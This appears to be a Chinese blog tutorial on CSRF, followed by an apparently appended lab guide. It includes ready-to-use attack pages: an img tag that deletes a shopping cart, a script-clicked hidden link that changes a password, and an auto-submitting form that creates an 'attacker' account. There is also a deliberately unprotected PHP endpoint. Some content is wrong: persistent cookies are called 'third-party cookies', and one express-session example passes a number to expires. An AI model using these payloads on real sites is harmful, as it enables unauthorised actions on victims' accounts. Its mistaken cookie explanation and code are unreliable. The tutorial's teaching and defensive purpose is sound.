跨站请求伪造(CSRF)

跨站请求伪造 CSRF

Cross-site request forgery,跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。这种信任是由于请求成功发送了浏览器Cookie。

浏览器Cookie分Third-party CookieSession Cookie

Third-party Cookie

Third-party Cookie 是服务器Set-Cookie时指定Expire时间,只有到Expire时间到后Cookie 才会生效,所以这种Cookie会保存在本地;

Session Cookie

Session Cookie 没有指定Expire时间,当浏览器关闭后,Session Cookie 就会失效。

下面以express-session为例。

没有设置Expire

app.use(session({

  secret: 'keyboard cat'

}));

登录成功后浏览器Cookie

image

关闭浏览器后重新打开页面

image

发现Cookie 值已经改变,之前设置的Cookie 值已失效。

设置Expire

app.use(session({
  secret: 'keyboard cat',
  cookie: {
    expires: 60000 // 1分钟
  }
}));

登录后的 Cookie 值。

image

关闭浏览器重新打开后

image

Cookie 保持不变,保持登录状态。

CSRF 攻击

CSRF 利用网站对用户网页浏览器的信任(Cookie),会恶意删除重要数据。
例如:一个购物系统,正常登陆的用户提供删除购物车接口/deleteShoppingCart

// session状态拦截
app.use(function (req, res, next) {  
  if (req.session.userAccount) {  
     // 已登陆状态
    next();                      
  } else {  
    // 未登录
    let isLogin = req.url.search(/login/i) >=0 ? true : false;
    if(isLogin){
      next();                      // 如果是登陆接口请求,可以进入系统
    }else{
      res.redirect("/loginPage");  // 跳转登陆页面
    }
  }  
});

用户在登陆状态下是可以执行/deleteShoppingCart

image

现在有一恶意攻击页面evil.html,里面的img src指向/deleteShoppingCart接口。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <img src="http://192.168.31.235:3000/deleteShoppingCart">
</body>
</html>

后台记录当前浏览器的用户已经登陆,即浏览器发起的请求后台都认为是合法的。用户不小心打开恶意攻击页面,页面会请求http://192.168.31.235:3000/deleteShoppingCart, 删除购物车接口会执行。

image

以上攻击是攻击者利用网站对浏览器的信任,在用户不知情的情况下,伪造恶意请求。

CSRF 防御

验证码

验证码被认为是对抗CSRF攻击最简洁有效的防御方法.

CSRF攻击往往是在用户不知情的情况下造成的网络请求,如上述例子,添加验证码验证能很好地遏制CSRF攻击。
验证码的缺点就是网站不能所有操作(请求)都加上验证码,它是防御CSRF攻击的辅助手段。

Referer check

web服务端检测请求头 referer 是否来自合法的“源”,如果是合法请求源,允许请求。
比如从http://192.168.31.235:3000/ 页面发起的请求。

// req.headers.referer

referer: 'http://192.168.31.235:3000/'

缺点就是不是所有浏览器请求头都会发送Referer。

CSRF Token

防止CSRF攻击的另一种方法是在服务端生成Token,放在Html节点(表单、标签属性等)、Javascript全局变量或者http响应时写在Cookie + Ajax请求。

参考资料

### 关于跨站请求伪造CSRF)实验的设计与实施 #### 实验目标 通过设计并执行一个简单的 CSRF 攻击场景,验证攻击的工作原理以及其可能带来的危害。这有助于理解 CSRF 的本质及其防御方法。 --- #### 实验环境准备 1. **本地开发服务器** 使用 Web 开发框架搭建一个支持用户登录功能的小型应用,例如 PHP 或 Python Flask 应用程序。该应用程序应允许修改用户的某些敏感数据(如密码),以便模拟真实世界中的业务逻辑。 2. **易受攻击的功能模块** 创建一个未加防护的 URL 接口用于更新用户密码或其他操作。例如: ```php <?php session_start(); if ($_SERVER['REQUEST_METHOD'] === 'GET') { $new_password = $_GET['password_new']; $confirm_password = $_GET['password_conf']; if ($new_password && $confirm_password && $new_password === $confirm_password) { echo "Password updated successfully!"; // Simulate password update logic here. } else { echo "Error updating password."; } } ?> ``` 3. **恶意页面构建** 构建一个 HTML 页面,其中包含能够触发 CSRF 攻击的内容。此页面可以通过诱导受害者访问来完成攻击过程。 --- #### 实现步骤 ##### 方法一:基于 GET 请求CSRF 测试 创建一个 HTML 文件,在文件中嵌入超链接或自动加载脚本以发起 CSRF 请求: ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF Test</title> </head> <body> <!-- 隐蔽的超链接 --> <a href="http://localhost/csrf_vulnerable_app/change_password.php?password_new=hacked&password_conf=hacked" style="display:none;" id="csrf-link"></a> <!-- 自动点击链接 --> <script> document.getElementById('csrf-link').click(); </script> </body> </html> ``` 上述代码会在用户打开页面时立即发送一个 GET 请求到指定的目标地址[^4]。 ##### 方法二:基于 POST 请求CSRF 测试 如果目标接口仅接受 POST 请求,则可通过 `<form>` 表单提交方式实现 CSRF 攻击: ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF Form Attack</title> </head> <body onload="document.forms[0].submit()"> <form action="http://localhost/csrf_vulnerable_app/update_user.php" method="POST"> <input type="hidden" name="act" value="add"/> <input type="hidden" name="username" value="attacker"/> <input type="hidden" name="password" value="hackedpass"/> <input type="hidden" name="password2" value="hackedpass"/> <input type="hidden" name="button" value="%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7"/> <input type="hidden" name="userid" value="0"/> </form> </body> </html> ``` 当受害者浏览这个恶意页面时,浏览器会自动向目标站点提交表单数据[^3]。 --- #### 安全测试注意事项 在实际环境中进行此类测试前需获得授权,以免触犯法律。此外,建议使用虚拟机隔离测试网络,防止意外影响其他系统资源。 --- #### 防御措施概述 为了有效抵御 CSRF 攻击,可采取以下策略之一或多组合使用: - 添加一次性令牌(Token)校验机制; - 设置严格的 Referer 和 Origin 头部检查; - 启用 SameSite Cookie 属性限制第三方调用行为[^1]。 --- ### 结论 通过对 CSRF 漏洞的学习和实践,可以更深刻认识到这类威胁的存在形式及潜在风险,并掌握相应的缓解手段。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值